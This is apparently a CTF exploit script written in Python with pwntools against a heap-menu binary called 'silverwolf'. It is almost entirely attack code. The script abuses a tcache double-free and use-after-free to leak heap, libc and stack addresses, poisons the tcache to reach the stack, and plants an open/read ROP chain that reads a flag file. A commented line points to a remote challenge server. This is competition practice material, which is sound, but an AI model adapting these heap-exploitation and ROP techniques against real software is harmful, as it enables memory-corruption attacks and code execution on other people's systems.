1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132
| from pwn import * io = process('./silverwolf') #io=remote('124.70.20.79',22220) elf=ELF('./silverwolf') libc=elf.libc #libc=ELF('./libc-2.27.so')
context.terminal=['tmux','splitw','-h'] context(log_level='debug') #pop_rdi=0x215bf #pop_rsi=0x23ee #pop_rdx=0x1b96 #pop_rdx_rsi=0x130569
pop_rax=0x43a78 pop_rdx_rsi=0x130889 pop_rdi=0x2155f pop_rsi=0x23e8a pop_rdx=0x1b96
def add(a1,a2): io.sendafter('Your choice: ','1 ') io.sendafter('Index: ',str(a1)+' ') io.sendafter('Size: ',str(a2)+' ')
def edit(a1,a2): io.sendafter('Your choice: ','2 ') io.sendafter('Index: ',str(a1)+' ') io.sendlineafter('Content: ',a2)
def show(a1): io.sendafter('Your choice: ','3 ') io.sendafter('Index: ',str(a1)+' ')
def dele(a1): io.sendafter('Your choice: ','4 ') io.sendafter('Index: ',str(a1)+' ')
def exp(): add(0,80)#0 0x50 dele(0) edit(0,p64(0)*2) dele(0) show(0) io.recvuntil('Content: ') #print(io.recv(6)) heapbase=u64(io.recv(6).ljust(8,'\x00'))-0x1880 print(hex(heapbase)) edit(0,p64(heapbase+0x10)) add(0,80) #pause() add(0,88)#tcache edit(0,'\x00'*6+'\x01'+'\x00'*(0x20-7)+'\xff'*0x8+'\x00'*0x2f) add(0,120) dele(0) edit(0,p64(heapbase+0x40)) add(0,120) add(0,120)#tcache+0x40 edit(0,'\x00'*0x70)
add(0,96) dele(0) edit(0,p64(0)*2) dele(0) edit(0,p64(heapbase+0x10)) add(0,96) add(0,96)#tcache #pause()
dele(0) #pause() show(0) io.recvuntil('Content: ') malloc_hook=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-16 libcbase=malloc_hook-libc.symbols['__malloc_hook'] print(hex(libcbase)) free_hook=libcbase+libc.symbols['__free_hook'] environ=libcbase+libc.symbols['environ'] opens=libcbase+libc.symbols['open'] reads=libcbase+libc.symbols['read']
add(0,120)#0x78 #pause() edit(0,'\x00'*0x68+p64(environ)) add(0,96)#environ show(0) io.recvuntil('Content: ') stack = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00')) #print(hex(stack)) #gdb.attach(io) #pause() add_stack=stack-0x120 print(hex(add_stack)) add(0,120)#0x78 dele(0) #pause() edit(0,p64(0)*2) dele(0) edit(0,p64(add_stack)) add(0,120) #pause() add(0,120)#stack show(0) #pause() io.recvuntil('Content: ') main=u64(io.recv(6).ljust(8,'\x00'))+0x10 print(hex(main)) #open('./flag',0) orw=p64(pop_rdi+libcbase)+p64(add_stack+0x60)+p64(pop_rsi+libcbase)+p64(0)+p64(opens) #read(fd,buf,0x30) orw+=p64(pop_rdi+libcbase)+p64(3)+p64(pop_rdx_rsi+libcbase)+p64(0x30)+p64(heapbase+0x10)+p64(reads)+p64(main)+'./flag\x00\x00' #write(fd,buf,0x30) #orw+=p64(pop_rdi+libcbase)+p64(1)+p64(pop_rsi+libcbase)+p64(heapbase+0x10)+p64(pop_rdx+libcbase)+p64(0x30)+'./flag\x00\x00' print(len(orw)) gdb.attach(io) edit(0,orw)
add(0,80) dele(0) edit(0,p64(0)*2) dele(0) edit(0,p64(heapbase+0x10)) add(0,80) add(0,80) #gdb.attach(io) #io.recvuntil('\n',timeout=10000000) show(0)
exp()
|